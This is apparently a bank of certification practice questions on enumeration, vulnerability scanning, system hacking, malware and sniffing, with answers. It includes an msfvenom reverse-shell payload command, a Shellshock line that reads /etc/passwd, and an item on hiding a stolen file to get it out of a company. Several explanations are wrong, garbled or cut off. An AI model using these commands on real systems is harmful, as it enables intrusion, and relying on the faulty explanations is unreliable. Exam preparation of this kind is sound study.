C. MIB_II.MIB
D. WINS.MIB
B
*DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts
*HOSTMIB.MIB: Monitors and manages host resources
*LNMIB2.MIB: Contains object types for workstation and server services
*MIB_II.MIB: Manages TCP/IP-based Internet using a simple architecture and system
*WINS.MIB: For the Windows Internet Name Service (WINS)
Module 04 Enumeration
Which Windows command lists all the shares you have access to?
A. NET CONFIG
B. NET VIEW
C. NET USE
D. NET FILE
B
Try running this command from a Windows machine! If nothing shows up, then you don’t have access to any shares at the moment.
Module 04 Enumeration
Which of these commands would you use to enumerate the user accounts on an SMTP server?
A. EXPN
B. CHK
C. RCPT
D. VRFY
D
VRFY: It is used to validate the user on the server.
EXPN: It is used to find the delivery address of mail aliases
RCPT TO: It points to the recipient’s address.
Module 04 Enumeration
NetBIOS enumeration can get you valuable information such as the names of computers, groups, services, shares, and more. Which of these NetBIOS codes would show you the messenger service running for a logged-in user?
A. <00>
B. <1B>
C. <20>
D. <03>
NetBIOS Suffixes
D
00: Workstation Service (workstation name)
03: Windows Messenger service.
06: Remote Access Service.
20: File Service (also called Host Record)
21: Remote Access Service client.
1B: Domain Master Browser – Primary Domain Controller for a domain.
1D: Master Browser.
Module 04 Enumeration
Which tool would you use to query LDAP services for sensitive info like user and computer names?
A. Zabasearch
B. Ike-scan
C. Jxplorer
D. EarthExplorer
C
JXplorer is a cross platform LDAP browser and editor. It is a standards compliant general purpose LDAP client that can be used to search, read and edit any standard LDAP directory, or any directory service with an LDAP or DSML interface. It is highly flexible and can be extended and customised in a number of ways.
Module 04 Enumeration
If you were doing a pen-test for BigCorp and wanted to enumerate the network, you’d first attempt a zone transfer. If you were on a Windows machine, you’d use the nslookup command. Assuming the DNS server is at 10.10.10.10 and the domain name is bigcorp.local, what command would you type in the nslookup shell to achieve the zone transfer?
A. lserver 10.10.10.10 -t all
B. ls -d bigcorp.local
C. list server=10.10.10.10 type=all
D. list domain=bigcorp.local type=zone
B
In NSLOOKUP, the -d switch “dumps” all the records for requested zone (domain).
Module 04 Enumeration
Which of these commands would tell you if there is already a specific DNS entry in your DNS cache? For example, you want to see if the cache has already queried for update.adobe.com.
A. dnsnooping -rt update.adobe.com
B. dns –snoop update.adobe.com
C. nslookup -norecursive update.adobe.com
D. nslookup -fullrecursive update.adobe.com
C
The -norecursive switch tells nslookup to look for the entry in the cache without going out to the internet to ask other servers for the answer. If the specified entry is present in the cache, then the user must have queried for that information earlier.
Module 04 Enumeration
Which of these Linux commands will resolve the domain amazon.com to an IP address?
A. host -t soa amazon.com
B. host -t AXFR amazon.com
C. host -t ns amazon.com
D. host -t a amazon.com
D
ns: name server
SOA (start of authority)
The -a (all) option is equivalent to setting the -v option and asking host to make a query of type ANY.
Module 04 Enumeration
What info can you gain via SMTP enumeration?
A. The two internal commands VRFY and EXPN provide a confirmation of valid users, email addresses, aliases, and mailing lists.
B. The internal command RCPT provides a list of ports open to message traffic.
C. A list of all mail proxy server addresses used by the targeted host
D. Reveals the daily outgoing message limits before mailboxes are locked
A
Module 04 Enumeration
The SNMP Read-Only Community String is like a password. The string is sent along with each SNMP Get-Request and allows (or denies) access to a device. Most network vendors ship their equipment with a default password of “public”. This is the so-called “default public community string”. How would you keep intruders from getting sensitive information regarding the network devices using SNMP? (Select 2 answers)
A. Enable SNMPv3 which encrypts username/password authentication
B. Use your company name as the public community string replacing the default ‘public’
C. Enable IP filtering to limit access to SNMP device
D. The default configuration provided by device vendors is highly secure and you don’t need to change anything
AC
Module 04 Enumeration
What is the name of the technique where you can find out the sites visited by the employees of an organization by querying the DNS server for specific cached DNS records?
A. DNSSEC zone walking
B. DNS cache snooping
C. DNS cache poisoning
D. DNS zone walking
B
DNS cache snooping is when someone queries a DNS server in order to find out (snoop) if the DNS server has a specific DNS record cached, and thereby deduce if the DNS server’s owner (or its users) have recently visited a specific site
Zone Walking is a technique that is used by attackers to enumerate the full content of DNSSEC-signed DNS zones.
Module 05 Vulnerability Analysis
While scanning a network, which step comes immediately before using a Vulnerability Scanner?
A. Firewall detection
B. OS detection
C. Check to see if the remote host is alive
D. TCP / UDP port scanning
B
The order of scanning would be:
1. Check for live systems (ping sweeps, etc)
2. Check for open ports (this tells you the likely services listening on the target)
3. Banner grabbing (tells you the OS)
4. Vulnerability scanning (looks for vulns & flaws on the target)
It helps to know the OS before doing a vulnerability scan because entering the target’s Operating System will help tune the vuln scanner so it can find more information and run scans relevant to that particular OS.
Module 05 Vulnerability Analysis
What’s the range for a medium vulnerability in the CVSS v3 scoring system?
A. 3.0-6.9
B. 3.9-6.9
C. 4.0-6.0
D. 4.0-6.9
D
CVSS v3.0 Ratings
None 0.0
Low 01.-3.9
Medium 4.0-6.9
High 7.0-8.9
Critical 9.0-10.0
Module 05 Vulnerability Analysis
These are the steps in the Vulnerability Management Life Cycle, but they are out of order. Arrange them in the proper order below.
1. Risk assessment
2. Monitor
3. Identify assets and create a baseline
4. Remediation
5. Vulnerability scan
6. Verification
A. 2, 4, 5, 3, 6, 1
B. 1, 2, 3, 4, 5, 6
C. 3, 5, 1, 4, 6, 2
D. 3, 1, 2, 6, 5, 4
C
Module 05 Vulnerability Analysis
An employee left the company, and now you want to give his laptop to another employee. Before you do, however, you assess it for vulnerabilities. You find vulnerabilities such as native configurations, incorrect registry settings and file permissions, and software configuration errors. What type of vulnerability assessment did you perform here?
A. Host-based assessment
B. Database assessment
C. Credentialed assessment
D. Distributed assessment
A
Module 05 Vulnerability Analysis
Which of the following statements about vulnerability scanners is NOT correct?
A. Vulnerability scanners attempt to identify vulnerabilities in the hosts scanned.
B. Vulnerability scanners can help identify out-of-date software versions, missing patches, or system upgrades
C. They can validate compliance with or deviations from the organization’s security policy
D. Vulnerability scanners can identify weakness and automatically fix and patch the vulnerabilities without user intervention
D
Module 05 Vulnerability Analysis
Which of the following business challenges could be solved by using a vulnerability scanner?
A. Auditors want to discover if all systems are following a standard naming convention
B. There is an emergency need to remove administrator access from multiple machines for an employee that quit
C. A Web server was compromised and management needs to know if any further systems were compromised
D. There is a monthly requirement to test corporate compliance with host application usage and security policies
D
Module 05 Vulnerability Analysis
Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?
A. NMAP
B. Metasploit
C. Nessus
D. BeEF
C
Module 05 Vulnerability Analysis
Analyst Alice is doing a vulnerability test on your network. She starts by building an inventory of protocols running on your machines. Using that, she detects which ports are attached to services like web, mail, and database services. After identifying these services and ports, she then selects vulnerabilities on each service, and runs only the relevant tests for each. Which type of vulnerability assessment is she performing here?
A. Product-Based assessment
B. Service-Based assessment
C. Tree-Based assessment
D. Inference-Based assessment
D
Module 05 Vulnerability Analysis
Which is the best way to find vulnerabilities on a Windows-based computer?
A. Check MITRE.org for the latest list of CVE findings
B. Use the built-in Windows Update tool
C. Create a disk image of a clean Windows installation
D. Use a scan tool like Nessus
D
Module 05 Vulnerability Analysis
In which phase of the Vulnerability Management Life Cycle would you apply fixes to vulnerable systems?
A. Identify Assets and Create a Baseline
B. Vulnerability Scan
C. Risk Assessment
D. Remediation
E. Verification
F. Monitor
D
Module 05 Vulnerability Analysis
Nessus found a vulnerability on your server. You investigated, but you find that the vulnerability does not actually exist on the server. Which type of alert did Nessus really give you then?
A. True Positive
B. True Negative
C. False Positive
D. False Negative
C
Module 05 Vulnerability Analysis
Which type of vulnerability assessment can find things like active systems, network services, applications, vulnerabilities, and users, merely by sniffing network traffic?
A. Passive assessment
B. Credentialed assessment
C. Internal assessment
D. External assessment
A
Module 05 Vulnerability Analysis
Which type of vulnerability assessment analyzes the network from a hacker’s perspective to discover exploits and vulnerabilities that are accessible to the outside world?
A. Host-based assessment
B. Passive assessment
C. Database assessment
D. Application assessment
E. External assessment
F. Internal assessment
E
Module 05 Vulnerability Analysis
Which severity level for a vulnerability would a CVSS score of a 7.2 be?
CVSS v3.0 Ratings
None 0.0
Low 01.-3.9
Medium 4.0-6.9
High 7.0-8.9
Critical 9.0-10.0
A. None
B. Low
C. Medium
D. High
E. Critical
D
Module 05 Vulnerability Analysis
Hacker Joe is back at it again, and this time he installed a rogue access point in the company perimeter in order to gain internal access. Analyst Alice detects traffic inside the company that is attempting to crack the authentication. She turned off the network and tested for any old security mechanisms that are prone to being attacked. What type of vulnerability assessment did she perform?
A. Host-based assessment
B. Distributed assessment
C. Wireless network assessment
D. Application assessment
C
Wireless network assessment determines the vulnerabilities in an organization’s wireless networks. In the past, wireless networks used weak and defective data encryption mechanisms. Now, wireless network standards have evolved, but many networks still use weak and outdated security mechanisms and are open to attack. Wireless network assessments try to attack wireless authentication mechanisms and gain unauthorized access. This type of assessment tests wireless networks and identifies rogue networks that may exist within an organization’s perimeter. These assessments audit client-specified sites with a wireless network. They sniff wireless network traffic and try to crack encryption keys. Auditors test other network access if they gain access to the wireless network.
Module 05 Vulnerability Analysis
Which tool can scan web servers for problems like potentially dangerous files and vulnerable CGI’s?
A. Snort
B. Dsniff
C. Nikto
D. John the Ripper
C
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers.
SNORT is a powerful open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that provides real-time network traffic analysis and data packet logging. SNORT uses a rule-based language that combines anomaly, protocol, and signature inspection methods to detect potentially malicious activity.
dSniff is a set of password sniffing and network traffic analysis tools written by security researcher and startup founder Dug Song to parse different application protocols and extract relevant information. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.).
Module 05 Vulnerability Analysis
Which is a common vulnerability that commonly exposes sensitive information on Windows file servers?
A. Cross-site scripting
B. SQL injection
C. Missing patches
D. CRLF injection
C
When considering vulnerabilities that could expose sensitive files, databases, and passwords on a Windows file server, the most common issue is often missing patches. Attackers exploit known security flaws that haven’t been patched to gain unauthorized access. In contrast, SQL injection, Cross-site scripting, and CRLF injection are vulnerabilities more commonly associated with web applications rather than file servers.
Module 06 System Hacking
How does an operating system protect the passwords used for account logins?
A. The operating system performs a one-way hash of the passwords
B. The operating system encrypts the passwords, and decrypts them when needed
C. The operating system stores all passwords in a protected segment of nonvolatile memory
D. The operating system stores the passwords in a secret file that users cannot find
A
Module 06 System Hacking
Which of these cracks passwords by utilizing a pre-computed table of password hashes?
A. Dictionary attack
B. Brute Force attack
C. Hybrid attack
D. Rainbow Table attack
D
A rainbow table uses these pre-computed hash values as a means to crack password databases that do not store their information as plaintext. These tables allow attackers to access secure systems without guessing a password
Module 06 System Hacking
Which of these is a technique to use DNS to sneak data or malware past your corporate firewall, which could then be used for communication from a victim’s machine to a C&C server?
A. DNS tunneling method
B. DNS cache snooping
C. DNSSEC zone walking
D. DNS enumeration
A
Module 06 System Hacking
Consider this output from a hacker’s machine targeting another machine with the IP address of 192.168.3.10:
[ATTEMPT] target 192.168.3.10 – login “root” – pass “a” 1 of 20
[ATTEMPT] target 192.168.3.10 – login “root” – pass “123” 2 of 20
[ATTEMPT] target 192.168.3.10 – login “admin” – pass “a” 3 of 20
[ATTEMPT] target 192.168.3.10 – login “admin” – pass “123” 4 of 20
[ATTEMPT] target 192.168.3.10 – login “guest” – pass “a” 5 of 20
[ATTEMPT] target 192.168.3.10 – login “guest” – pass “123” 6 of 20
[ATTEMPT] target 192.168.3.10 – login “” – pass “a” 7 of 20
[ATTEMPT] target 192.168.3.10 – login “” – pass “123” 8 of 20
Which is most likely taking place here?
A. Ping sweep of the 192.168.3.10 network
B. Remote service brute force attempt
C. Port scan of 192.168.3.10
D. Denial of service attack on 192.168.3.10
B
Module 06 System Hacking
To attack her hapless victim, Hacker Heather had to have a terminal window open to perform her hacking. While typing at the command-line, she had to enter several of her own passwords in plaintext in order to access some of her tools. When she was done doing her dirty deeds, which file should she clean in order to clear her passwords?
A. .xsession-log
B. .bashrc
C. .bash_history
D. .profile
C
Module 06 System Hacking
Which type of rootkit sits undetected in the core of an operating system?
A. Firmware rootkit
B. Kernel rootkit
C. Hardware rootkit
D. Hypervisor rootkit
B
Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure therefore able to intercept or subvert the foremost sure software operations.
Module 06 System Hacking
Which password cracking technique takes the longest time and most effort?
A. Dictionary attack
B. Shoulder surfing
C. Brute force
D. Rainbow tables
C
Module 06 System Hacking
Which type of password cracking technique would feed a list of common passwords into a cracking application in an attempt to gain access to a user’s account?
A. Known plaintext
B. Brute force
C. Password spraying
D. Dictionary
D
Module 06 System Hacking
On a Linux system you can hide files by starting the file’s name with which of these characters?
A. Tilde (~)
B. Period (.)
C. Underscore (_)
D. Exclamation mark (!)
B
Module 06 System Hacking
Which technique provides ‘security through obscurity‘ by hiding secret messages within ordinary messages?
A. Encryption
B. RSA algorithm
C. Steganography
D. Public-Key cryptography
C
Module 06 System Hacking
Which of these programming languages is commonly vulnerable to buffer overflows?
A. C#
B. C++
C. Python
D. Java
B
C and C++ are two languages that are highly susceptible to buffer overflow attacks, as they don’t have built-in safeguards against overwriting or accessing data in their memory.
Module 06 System Hacking
You breached a system and got the password hashes. You need to use these passwords to log on to systems, but you don’t have time to crack the hashes to find the passwords. Which type of attack could you use instead?
A. Pass the hash
B. Pass the ticket
C. LLMNR/NBT-NS poisoning
D. Internal monologue attack
A
If you get someone’s hash, you don’t even need to crack it to log-on to a Windows network. You can just transmit (pass) the hash to the server you want to log-on to. Metasploit (and other tools) has a pass-the-hash module for doing this. Defenses for this include 1) not letting an attacker get your hashes in the first place, 2) Multi-factor authentication, 3) Network segmentation, etc.
Module 06 System Hacking
If you boot a Windows machine with an Ubuntu Live CD, which Linux command-line tool can change user passwords and activate disabled accounts in the SAM file of the Windows machine?
A. SET
B. CHNTPW
C. Cain & Abel
D. John the Ripper
B
Chntpw is a utility to view some information and reset user passwords in a Windows NT/2000 SAM user database file used by Microsoft Windows Operating System, specifically in NT3.x and later versions.
Module 06 System Hacking
After gaining control to a user account, how can you gain access to another user account’s confidential files and data?
A. Port scanning
B. Hacking Active Directory
C. Shoulder-surfing
D. Privilege Escalation
D
Once you gain access to a user account, a successful privilege escalation attack could allow you to gain the rights of another user or admin.
Module 06 System Hacking
As an admin, how can you protect your password files against rainbow tables?
A. Password salting
B. Use of non-dictionary words
C. All uppercase character passwords
D. Lockout accounts under brute force password cracking attempts
A
Module 06 System Hacking
Which of these is the correct syntax to use MSFvenom to create a reverse TCP shellcode exploit for Windows?
A. msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.5.10 LPORT=3456 -f exe>shell.exe
B. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.10 LPORT=3456 -f exe>shell.exe
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.10 LPORT=3456 -f c
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.5.10 LPORT=3456 -f c
B
The correct MSFvenom syntax for generating a Windows reverse TCP shellcode is option (b), with the appropriate LHOST and LPORT values set, format specified as exe, and output redirected to a file named shell.exe.
The parameters LHOST and LPORT should be replaced with your local IP address and the port you wish to use for the reverse connection. The f flag specifies the output format, which in this case is an executable (exe). The ‘>’ operator is used to redirect the generated shellcode into a file named shellcode.exe.
The -p flag specifies the payload to generate. In this case, we are using the windows/shell_reverse_tcp payload, which creates a reverse TCP shell.
The LHOST and LPORT options are used to specify the IP address and port on which the shell will connect back to.
Module 06 System Hacking
Your web-page asks users to enter their mailing address, but you’re worried about possible buffer overflow attacks. Which bit of pseudo-code would correctly limit the Address1 field to 40 characters and avoid a buffer overflow?
A. if (Address1 = 40) {update field} else exit
B. if (Address1 != 40) {update field} else exit
C. if (Address1 >= 40) {update field} else exit
D. if (Address1 <= 40) {update field} else exit
D
Module 06 System Hacking
Which of these is an exploitation framework that can automate attacks on unpatched systems?
A. Nessus
B. Wireshark
C. Maltego
D. Metasploit
D
Module 06 System Hacking
Which type of password attack pulls passwords from a list of commonly used passwords until the correct password is found or the list is exhausted?
A. Man-in-the-middle attack
B. Brute-force attack
C. Dictionary attack
D. Session hijacking
C
Module 06 System Hacking
Which of these tools would NOT be used for cracking password hashes?
A. Netcat
B. John the Ripper
C. TCH-Hydra
D. Hashcat
A
Netcat is a tool for reading from, and writing to TCP and UDP network connections. It has nothing to do with cracking passwords, however the other 3 listed tools do.
Module 06 System Hacking
You want to steal a file from work and send it to your home computer. If your company monitors outbound traffic, how can you transfer the file without raising any suspicion?
A. Encrypt the Sales.xls using PGP and e-mail it to your personal gmail account
B. Package the Sales.xls using Trojan wrappers and telnet them back your home computer
C. You can conceal the Sales.xls database in another file like photo.jpg or other files and send it out in an innocent looking email or file transfer using Steganography techniques
D. Change the extension of Sales.xls to sales.txt and upload them as attachment to your hotmail account
C
Module 06 System Hacking
Which OS did the Shellshock vulnerability NOT directly affect?
A. Windows
B. Linux
C. OS X
D. Unix
A
Shellshock, also known as the Bash or Bashdoor vulnerability, was a major security flaw discovered in September 2014. It affected the Bash shell, which is commonly found in Unix-based operating systems, such as Linux, Unix, and OS X (now macOS). Windows, on the other hand, does not use the Bash shell by default and was not directly affected by the Shellshock vulnerability.
Module 06 System Hacking
Which bit of pseudo-code in a programming module would limit input to less than 300 characters, and if there are 300 characters, the module should stop because it can’t hold any more data?
A. If (I > 300) then exit
B. If (I < 300) then exit
C. If (I <= 300) then exit
D. If (I >= 300) then exit
D
Module 06 System Hacking
Which of these can be probed for weakness with John the Ripper?
A. Firewall rulesets
B. Usernames
C. Passwords
D. File permissions
C
Module 06 System Hacking
Before you turn on auditing on a production server, what should you do first?
A. Perform a vulnerability scan of the system.
B. Determine the impact of enabling the audit feature.
C. Perform a cost/benefit analysis of the audit feature.
D. Allocate funds for staffing of audit log review.
B
Module 06 System Hacking
Which of these Metasploit post-exploitation modules can be used to escalate privileges on a Windows server?
A. getsystem
B. keylogrecorder
C. getuid
D. autoroute
A
After exploiting a vulnerability on a Windows system and getting a Meterpreter command prompt back from the victim, the getsystem command will automatically perform several privilege escalation attacks to get “system” privileges, which is basically administrator-level privileges.
The getuid command shows the currently logged-in user’s ID. The autoroute command will allow you to pivot through the victim’s machine to attack yet other machines. There is no keylogrecorder command.
Module 06 System Hacking
env x=(){ :;};echo exploit bash -c ‘cat /etc/passwd’
What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?
A. Changes all passwords in passwd
B. Display passwd content to prompt
C. Removes the passwd file
D. Add new user to the passwd file
B
Module 06 System Hacking
Which of these would be considered “clearing tracks”?
A. An attacker gains access to a server through an exploitable vulnerability.
B. After a system is breached, a hacker creates a backdoor to allow re-entry into a system.
C. During a cyberattack, a hacker injects a rootkit into a server.
D. During a cyberattack, a hacker corrupts the event logs on all machines.
D
Module 07 Malware Threats
Which type of malware requires a “host” application to replicate?
A. Micro
B. Worm
C. Trojan
D. Virus
D
Module 07 Malware Threats
Which of these programs could infect both your boot sector and your executable files at the same time?
A. Macro virus
B. Stealth virus
C. Multipartite virus
D. Polymorphic virus
E. Metamorphic virus
C
The multipartite virus has the ability to attack both the boot sector and program files at the same time, causing greater harm than any other virus.
Module 07 Malware Threats
Which of these listed virus types can change its own code, and then when it replicates it can cipher itself many times?
A. Tunneling virus
B. Encryption virus
C. Stealth virus
D. Cavity virus
B
Module 07 Malware Threats
Bob downloaded and executed a file from an ex-employee. The file didn’t seem to do anything, and now he’s worried that it might have been a trojan. What test should you do to determine if Bob’s computer is infected?
A. Upload the file to VirusTotal
B. Do not check; rather, immediately restore a previous snapshot of the operating system
C. Use ExifTool and check for malicious content
D. Use netstat and check for outgoing connections to strange IP addresses or domains
A
Module 07 Malware Threats
Which type of malware causes pop-ups with advertisements every time you attempt to go to a website?
A. Trojan
B. Spyware
C. Adware
D. Virus
E. Crypter
F. Worm
C
Module 07 Malware Threats
Which type of malware cannot be detected by AV or IDPS, and cannot be blocked by application whitelisting?
A. File-less malware
B. Zero-day malware
C. Logic bomb malware
D. Phishing malware
A
Fileless malware uses pre-existing, legitimate tools built into an OS to perform malicious actions. Since these are valid tools, they won’t be flagged by AV or IDPS, and won’t be blocked by whitelisting software.
Module 07 Malware Threats
Which of these often targets Microsoft Office products?
A. Polymorphic virus
B. Multipart virus
C. Macro virus
D. Stealth virus
C
Module 07 Malware Threats
When discussing trojans, what is a wrapper?
A. An encryption tool to protect the Trojan
B. A tool used to bind the Trojan with a legitimate file
C. A tool used to calculate bandwidth and CPU cycles wasted by the Trojan
D. A tool used to encapsulate packets within a new header and footer
B
Module 07 Malware Threats
You boot your computer up to find a pop-up message saying that illegal activity was detected, and your computer is now locked. The message also states that you must pay a fine to have your computer unlocked. You find that you cannot bypass this message and you are unable to use your computer at all. Which of these threats is this describing?
A. Riskware
B. Spyware
C. Adware
D. Ransomware
D
Module 07 Malware Threats
Hacker Joe has gained unauthorized access to Evilcorp’s network, and stays there for six months without being detected. During this time he obtains some sensitive information, but he never causes any damage to the network. Which type of attack is this?
A. Insider Threat
B. Advanced Persistent Threat
C. Diversion Theft
D. Spear-phishing sites
B
Module 07 Malware Threats
What’s the best defense against ransomware that encrypts your files?
A. Pay the ransom
B. Analyze the ransomware to get the decryption key of encrypted data
C. Keep some generation of off-line backup
D. Use multiple antivirus software programs
C
Module 07 Malware Threats
What is the name of a type of virus that tries to install itself inside the file it’s infecting?
A. Polymorphic virus
B. Tunneling virus
C. Cavity virus
D. Stealth virus
C
A Cavity Virus attempts to install itself inside of the file it is infecting, rather than appending itself to the end of the file like most viruses do. This is a stealth technique that tries to keep the size of the file the same to avoid detection. This is hard to do though, so it’s rare.
Module 07 Malware Threats
Which of these describes the way in which a Boot Sector Virus works?
A. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR
B. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR
C. Modifies directory table entries so that directory entries point to the virus code instead of the actual program
D. Overwrites the original MBR and only executes the new virus code
B
Module 07 Malware Threats
An attacker infected your web server with a trojan. He can now use your server send spam mail, and can also use it to join in coordinated attacks against targets he chooses. Which type of trojan would this be?
A. Turtle trojans
B. Botnet trojan
C. Banking trojan
D. Ransomware trojan
B
Module 07 Malware Threats
Which type of malware causes damage similar to a virus, but automatically spreads from one system to another, or from one network to another?
A. Rootkit
B. Trojan
C. Worm
D. Adware
C
Module 07 Malware Threats
Which of these virus types is least likely to be detected by antivirus software?
A. Macro virus
B. Cavity virus
C. Stealth virus
D. File-extension virus
C
Both the Stealth virus and Cavity virus try to avoid detection using various techniques. A Stealth virus, however, actively and purposefully performs several techniques to hide from your antivirus program. A Cavity virus merely hides inside an executable without changing the original file size. This may trick an end-user, but can still be discovered by antivirus programs.
Module 07 Malware Threats
In which stage of the Advanced Persistent Threat lifecycle will an attacker deploy malware in a target to establish an outbound connection?
A. Preparation
B. Initial Intrusion
C. Expansion
D. Persistence
E. Search and Exfiltration
F. Cleanup
B
Module 07 Malware Threats
Some types of antivirus software identifies malware by gathering data across many protected hosts, then sends that data to a provider’s environment instead of analyzing files locally. Which type of detection technique is this?
A. Cloud based
B. Honeypot based
C. Behavioral based
D. Heuristics based
A
Module 07 Malware Threats
Which of these would be considered scareware?
A. A banner appears stating “Your account has been locked. Click here to reset your password and unlock your account.”
B. A banner appears stating “Your Amazon order has been delayed. Click here to find out your new delivery date.”
C. A pop-up appears to a user stating “You have won a free cruise! Click here to claim your prize!”
D. A banner appears stating “Your computer may have been infected with spyware. Click here to install an anti-spyware tool to resolve this issue.”
D
Module 07 Malware Threats
Which of these is the best way to secure backup tapes while taking them to an off-site location?
A. Degauss the backup tapes and transport them in a lock box
B. Encrypt the backup tapes and transport them in a lock box.
C. Hash the backup tapes and transport them in a lock box.
D. Encrypt the backup tapes and use a courier to transport them.
B
Module 07 Malware Threats
Which type of virus hides from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?
A. Macro virus
B. Polymorphic virus
C. Stealth/Tunneling virus
D. Cavity virus
C
Module 08 Sniffing
You’re experiencing slow network traffic, so you’ve decided to start monitoring all internet traffic. Legally speaking, what could cause a problem here?
A. Not informing the employees that they are going to be monitored could be an invasion of privacy.
B. The network could still experience traffic slowdowns.
C. You would be telling employees who the boss is.
D. All of the employees would stop normal work activities.
A
Module 08 Sniffing
Which type of MiTM attack uses a rogue switch with the lowest “priority” on the network, which would then become the root bridge and allow traffic sniffing?
A. VLAN hopping attack
B. ARP spoofing attack
C. STP attack
D. DNS poisoning attack
C
Spanning Tree Protocol (STP) is a networking protocol that prevents loops in network topology by disabling redundant paths and determining the shortest path to the root bridge. This is done by electing a root bridge and calculating the shortest path to it, using factors such as port cost and priority. Spanning Tree Protocol is a critical protocol in network infrastructure, but it also has vulnerabilities that can be exploited by attackers. It is essential to configure STP correctly and implement security measures to prevent STP attacks, such as disabling unused switch ports, enabling port security, and using BPDU guard and root guard.
Is it a spanning Tree Protocol attack?
Spanning Tree Protocol (STP) attacks exploit vulnerabilities in the protocol to create network loops or bring down the network. Attackers can use a variety of methods, such as sending malicious Bridge Protocol Data Units (BPDU), to interfere with the STP calculations and force the network to use a sub-optimal path or even create a loop. STP attacks can cause network congestion, broadcast storms, and even network failures, which can have severe consequences for organizations. To prevent STP attacks, network administrators should disable unused switch ports, enable port security, and use BPDU guards and root guards.
Module 08 Sniffing
Which of these is the most solid example of IP spoofing?
A. SQL injections
B. Man-in-the-middle
C. Cross-site scripting
D. ARP poisoning
D
Module 08 Sniffing
Choose the BEST way to protect against network traffic sniffing.
A. Use static IP addresses.
B. Use encryption protocols to secure network communications.
C. Register all machine’s MAC addresses into a centralized database.
D. Restrict physical access to server rooms hosting critical servers.
B
Module 08 Sniffing
You need to set up Wireshark on a Windows laptop. What driver and library are needed to allow your NIC to go into promiscuous mode?
A. Winpcap
B. Winprom
C. Winpsw
D. Libpcap
A
Module 08 Sniffing
At which layer of the OSI model do sniffers operate?
A. Layer 1
B. Layer 2
C. Both layer 2 & Layer 3
D. Layer 3
B
Sniffers usually work at layer 2 of the OSI model. Your NIC grabs frames off the wire. While it’s true that you can then see all the upper layer protocols, the “grabbing” of packets works via your NIC, which is layer 2.
Module 08 Sniffing
Determined to hack you, Crafty Cathy got a job at your company. While at work one day, she secretly launched a STP manipulation attack. What will her next action be?
A. She will repeat this action so that it escalates to a DoS attack.
B. She will create a SPAN entry on the spoofed root bridge and redirect all traffic to her computer.
C. She will repeat the same attack against all L2 switches of the network.
D. She will activate OSPF on the spoofed root bridge.
B
In an STP manipulation attack, an attacker connects to a switch port and either directly themselves, or through the use of a rogue switch,
attempts to manipulate Spanning Tree Protocol (STP) parameters to become the root bridge. Because the root bridge is responsible for calculating the spanning tree from topology changes advertised by non-root bridges, attackers see a variety of frames that they would
Module 08 Sniffing
You type www.amazon.com into your browser, the site comes up, but wants you to enter your username and password to log-in from scratch, even though you’ve selected the “keep me logged in” option. When you examine the URL, it says www.amozon.com, and your browser says the site is not secure. What type of attack happened to you here?
A. DHCP spoofing
B. DoS attack
C. DNS hijacking
D. ARP cache poisoning
C
Module 08 Sniffing
Which of the following countermeasures can specifically protect against both the MAC Flood and MAC Spoofing attacks?
A. Configure Port Security on the switch
B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
A
Configuring Port Security on the switch is an effective countermeasure against both MAC flood and MAC spoofing attacks. Port Security allows the switch to limit the number of MAC addresses that can be learned on a specific port. This prevents MAC flooding attacks where an attacker floods the switch with fake MAC addresses, overwhelming its memory. Additionally, Port Security can also detect and prevent MAC spoofing attacks by only allowing specific MAC addresses to communicate on a port, blocking any unauthorized MAC addresses. This helps to ensure the integrity and security of the network.
Module 08 Sniffing
A hacker gained entry into a building and was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
A. Fraggle
B. MAC Flood
C. Smurf
D. Tear Drop
B
